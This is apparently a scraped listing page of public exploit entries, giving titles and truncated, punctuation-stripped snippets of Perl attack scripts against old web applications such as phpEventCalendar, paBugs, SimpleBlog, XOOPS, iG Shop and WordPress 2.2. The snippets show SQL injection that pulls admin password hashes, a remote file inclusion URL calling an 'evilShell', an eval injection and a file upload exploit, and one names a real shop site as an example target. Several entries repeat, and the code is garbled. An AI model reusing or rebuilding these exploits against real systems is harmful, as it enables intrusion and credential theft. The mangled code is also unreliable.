Envolution 1.1.0 - 'topic' SQL Injection

!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /./ or err; print "\n + Username:Passwordmd5 member id = $usid \n"; print "\n $1 \n\n"; sub usage print "\n"; print " newhackdotorg \n"; print "\n"; print " Envolution = v1.1.0 Remote SQL Injection \n";...

paBugs <= 2.0 Beta 3 (main.php cid) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV 4 usage; exit; $host = $ARGV0; Host $path = $ARGV1; Path to paBugs directory $pref = $ARGV2; prefix for admin tables $usid = $ARGV3; user id $www = new LWP::UserAgent; $sql =...

paBugs 2.0 Beta 3 - main.php?cid SQL Injection

paBugs 2.0 Beta 3 - main.php?cid SQL Injection !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /0-9,a-f32/ or err; print "\n + Admin Passwordmd5=$usid is: $1 \n\n"; sub usage print "---------------------------------------------------------\n"; print ...

paBugs 2.0 Beta 3 - 'main.php?cid' SQL Injection

!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /0-9,a-f32/ or err; print "\n + Admin Passwordmd5=$usid is: $1 \n\n"; sub usage print "---------------------------------------------------------\n"; print "| Bug Found by: umpi |\n"; print...

SimpleBlog 3.0 (comments_get.asp id) Remote SQL Injection Vulnerability

No description provided by source. !/usr/bin/perl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SimpleBlog 3.0 commentsget.asp Remote SQL Injection code by TrinTiTTY at g00ns.net Vulnerability by MurderSkillz &nbs...

SimpleBlog 3.0 - comments_get.asp?id SQL Injection

SimpleBlog 3.0 - commentsget.asp?id SQL Injection !/usr/bin/perl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SimpleBlog 3.0 commentsget.asp Remote SQL Injection code by TrinTiTTY at g00ns.net Vulnerability by MurderSkillz shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox...

SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection

!/usr/bin/perl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SimpleBlog 3.0 commentsget.asp Remote SQL Injection code by TrinTiTTY at g00ns.net Vulnerability by MurderSkillz shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox, Canuck, a59, sess, bernard, + the rest of g00ns...

Xserver 0.1 Alpha - POST Remote Buffer Overflow (PoC)

Xserver 0.1 Alpha - POST Remote Buffer Overflow PoC !/usr/bin/perl | | | | | | / |/ \ | | / |/ / | ' / | | '| | | |/ | | | | | / || \ \ | | | | \ \ || | | || | | | ,||,|/\/|| ||/|| ,||| d.e.u.s..c.o.n.s.t.r.u.c.t Type - Proof-of-Concept P0C Remote DoS Buffer Overflow App - Xserver 0.1...

Xserver 0.1 Alpha - 'POST' Remote Buffer Overflow (PoC)

!/usr/bin/perl | | | | | | / |/ \ | | / |/ / | ' / | | '| | | |/ | | | | | / || \ \ | | | | \ \ || | | || | | | ,||,|/\/|| ||/|| ,||| d.e.u.s..c.o.n.s.t.r.u.c.t Type - Proof-of-Concept P0C Remote DoS Buffer Overflow App - Xserver 0.1 Alpha URL - http://sourceforge.net/projects/xserver/...

iG Shop 1.4 eval Inclusion Vulnerability

No description provided by source. !/usr/bin/perl -w use LWP::UserAgent; iG Shop 1.4 eval Inclusion Vulnerability found by IFX nyubicrew Vulnerability on page.php if !$action $action = "make"; // here the function will be called. eval "page$action;"; die "Example: perl $0...

phpEventCalendar <= 0.2.3 (eventdisplay.php) SQL Injection Exploit

No description provided by source. !/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar = v0.2.3 SQL Injection Exploit By Iron - ironwarez.info Thanks to Silentz for the help : Greets to everyone at RootShell Security Group & dHack Example target url:...

phpeventcal-sql.txt

!/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin"; chomp$targetid=; $target .=...

phpEventCalendar 0.2.3 - eventdisplay.php SQL Injection

phpEventCalendar 0.2.3 - eventdisplay.php SQL Injection !/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin";...

phpEventCalendar <= 0.2.3 (eventdisplay.php) SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================== phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin";...

xoops101-rfi.txt

!/usr/bin/perl sub header print q ========================================================================= XOOPS modules xfsection 1.01 =Remote File Inclusion Exploit Exploit Coded by fl0 fl0w floflowsupremacyatyahoodotcom PoC:http://site.com/modules/xfsection/modify.php?dirmodule=evilShell?...

phpEventCalendar 0.2.3 - 'eventdisplay.php' SQL Injection

!/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin"; chomp$targetid=; $target .=...

WordPress 2.2 (wp-app.php) Arbitrary File Upload Exploit

Exploit for unknown platform in category web applications ======================================================== WordPress 2.2 wp-app.php Arbitrary File Upload Exploit ======================================================== ! /usr/bin/env perl Wordpress 2.2 and Wordpress MU Website :...

WordPress Core 2.2 - 'wp-app.php' Arbitrary File Upload

!/usr/bin/env perl Wordpress 2.2 and Wordpress MU Website : http://www.buayacorp.com/ Advisory: http://www.buayacorp.com/files/wordpress/wordpress-advisory.html use Digest::MD5 qwmd5hex; use LWP::UserAgent; my $ua = new LWP::UserAgent; my $blog = $ARGV0; my $user = $ARGV1; my $pass = $ARGV2; my...

igshop14-eval.txt

!/usr/bin/perl -w use LWP::UserAgent; iG Shop 1.4 eval Inclusion Vulnerability found by IFX nyubicrew Vulnerability on page.php if !$action $action = "make"; // here the function will be called. eval "page$action;"; die "Example: perl $0 http://www.planetgolfuk.co.uk/shop\n" unless @ARGV; $b =...

fuzzy-sql.txt

!/usr/bin/perl -w Fuzzylime Forum 1.0 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code low.php: $gettopicid = mysqlquery"SELECT FROM $tableprefixthreads WHERE threadid='$GETtopic'"; PoC:...